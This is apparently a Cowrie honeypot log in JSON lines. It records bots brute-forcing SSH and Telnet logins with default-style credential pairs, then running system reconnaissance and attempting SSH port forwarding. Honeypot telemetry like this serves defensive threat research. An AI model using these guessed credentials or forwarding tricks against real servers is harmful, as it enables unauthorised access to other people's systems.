{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:54:50.642728Z","src_ip":"2.57.122.208","session":"0e5c79c7f2c3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"trading","password":"trading","message":"login attempt [trading/trading] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:54:51.527655Z","src_ip":"2.57.122.208","session":"0e5c79c7f2c3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:54:52.854059Z","src_ip":"2.57.122.208","session":"0e5c79c7f2c3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.32.193.16","src_port":60023,"dst_ip":"159.203.135.109","dst_port":22,"session":"b0117be1462a","protocol":"ssh","message":"New connection: 176.32.193.16:60023 (159.203.135.109:22) [session: b0117be1462a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:54:53.995661Z"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:54:54.569331Z","src_ip":"176.32.193.16","session":"b0117be1462a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":34504,"dst_ip":"10.17.0.5","dst_port":22,"session":"c0bfbd859bbb","protocol":"ssh","message":"New connection: 2.57.122.208:34504 (10.17.0.5:22) [session: c0bfbd859bbb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:55:22.625518Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:55:22.652616Z","src_ip":"2.57.122.208","session":"c0bfbd859bbb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:55:22.759947Z","src_ip":"2.57.122.208","session":"c0bfbd859bbb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"trading","password":"trading","message":"login attempt [trading/trading] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:55:23.429706Z","src_ip":"2.57.122.208","session":"c0bfbd859bbb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:55:24.729481Z","src_ip":"2.57.122.208","session":"c0bfbd859bbb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"41.13.246.150","src_port":36917,"dst_ip":"159.203.135.109","dst_port":23,"session":"b42f9b3d63a7","protocol":"telnet","message":"New connection: 41.13.246.150:36917 (159.203.135.109:23) [session: b42f9b3d63a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:55:54.179072Z"}
{"eventid":"cowrie.session.closed","duration":13.00983452796936,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:56:07.188777Z","src_ip":"41.13.246.150","session":"b42f9b3d63a7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":25092,"dst_ip":"10.17.0.5","dst_port":22,"session":"742d1c77e486","protocol":"ssh","message":"New connection: 87.251.64.176:25092 (10.17.0.5:22) [session: 742d1c77e486]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:57:02.234566Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:57:02.239885Z","src_ip":"87.251.64.176","session":"742d1c77e486","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:57:02.336647Z","src_ip":"87.251.64.176","session":"742d1c77e486","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:57:02.627778Z","src_ip":"87.251.64.176","session":"742d1c77e486","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:57:02.726787Z","session":"742d1c77e486","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:57:02.828806Z","src_ip":"87.251.64.176","session":"742d1c77e486","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:57:02.927943Z","src_ip":"87.251.64.176","session":"742d1c77e486","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":54270,"dst_ip":"159.203.135.109","dst_port":22,"session":"dd6c6acf0a15","protocol":"ssh","message":"New connection: 2.57.122.208:54270 (159.203.135.109:22) [session: dd6c6acf0a15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:57:28.727441Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:57:28.732014Z","src_ip":"2.57.122.208","session":"dd6c6acf0a15","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:57:28.865356Z","src_ip":"2.57.122.208","session":"dd6c6acf0a15","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"trader","password":"trader","message":"login attempt [trader/trader] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:57:29.366200Z","src_ip":"2.57.122.208","session":"dd6c6acf0a15","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:57:29.775852Z","src_ip":"2.57.122.208","session":"dd6c6acf0a15","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/bin/./uname -s -v -n -r -m","message":"CMD: /bin/./uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:57:29.779220Z","src_ip":"2.57.122.208","session":"dd6c6acf0a15","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","size":71,"shasum":"876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:57:29.937540Z","src_ip":"2.57.122.208","session":"dd6c6acf0a15","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:57:29.942725Z","src_ip":"2.57.122.208","session":"dd6c6acf0a15","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":54008,"dst_ip":"159.203.135.109","dst_port":22,"session":"fdf683f62acc","protocol":"ssh","message":"New connection: 2.57.121.112:54008 (159.203.135.109:22) [session: fdf683f62acc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:57:36.296402Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:57:36.301500Z","src_ip":"2.57.121.112","session":"fdf683f62acc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:57:36.401432Z","src_ip":"2.57.121.112","session":"fdf683f62acc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"sasha2","message":"login attempt [admin/sasha2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:57:36.875865Z","src_ip":"2.57.121.112","session":"fdf683f62acc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"sasha12","message":"login attempt [admin/sasha12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:57:37.978223Z","src_ip":"2.57.121.112","session":"fdf683f62acc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"sanpedro","message":"login attempt [admin/sanpedro] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:57:39.080739Z","src_ip":"2.57.121.112","session":"fdf683f62acc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"sangria","message":"login attempt [admin/sangria] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:57:40.187228Z","src_ip":"2.57.121.112","session":"fdf683f62acc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"sandor","message":"login attempt [admin/sandor] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:57:41.290841Z","src_ip":"2.57.121.112","session":"fdf683f62acc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:57:42.394194Z","src_ip":"2.57.121.112","session":"fdf683f62acc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":38782,"dst_ip":"10.17.0.5","dst_port":22,"session":"78e29a96b83a","protocol":"ssh","message":"New connection: 2.57.122.208:38782 (10.17.0.5:22) [session: 78e29a96b83a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:57:57.933279Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:57:58.022563Z","src_ip":"2.57.122.208","session":"78e29a96b83a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:57:58.125708Z","src_ip":"2.57.122.208","session":"78e29a96b83a","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"trader","password":"trader","message":"login attempt [trader/trader] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:57:58.821611Z","src_ip":"2.57.122.208","session":"78e29a96b83a","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:57:59.306991Z","src_ip":"2.57.122.208","session":"78e29a96b83a","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/bin/./uname -s -v -n -r -m","message":"CMD: /bin/./uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:57:59.309137Z","src_ip":"2.57.122.208","session":"78e29a96b83a","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","size":71,"shasum":"876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:57:59.577713Z","src_ip":"2.57.122.208","session":"78e29a96b83a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:57:59.582241Z","src_ip":"2.57.122.208","session":"78e29a96b83a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"61.79.154.86","src_port":40145,"dst_ip":"159.203.135.109","dst_port":23,"session":"ce6fef232a14","protocol":"telnet","message":"New connection: 61.79.154.86:40145 (159.203.135.109:23) [session: ce6fef232a14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:58:14.510836Z"}
{"eventid":"cowrie.session.closed","duration":13.16476583480835,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:58:27.675477Z","src_ip":"61.79.154.86","session":"ce6fef232a14","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":35388,"dst_ip":"159.203.135.109","dst_port":22,"session":"47719dd65805","protocol":"ssh","message":"New connection: 2.57.122.208:35388 (159.203.135.109:22) [session: 47719dd65805]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:00:23.474133Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:00:23.939577Z","src_ip":"2.57.122.208","session":"47719dd65805","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh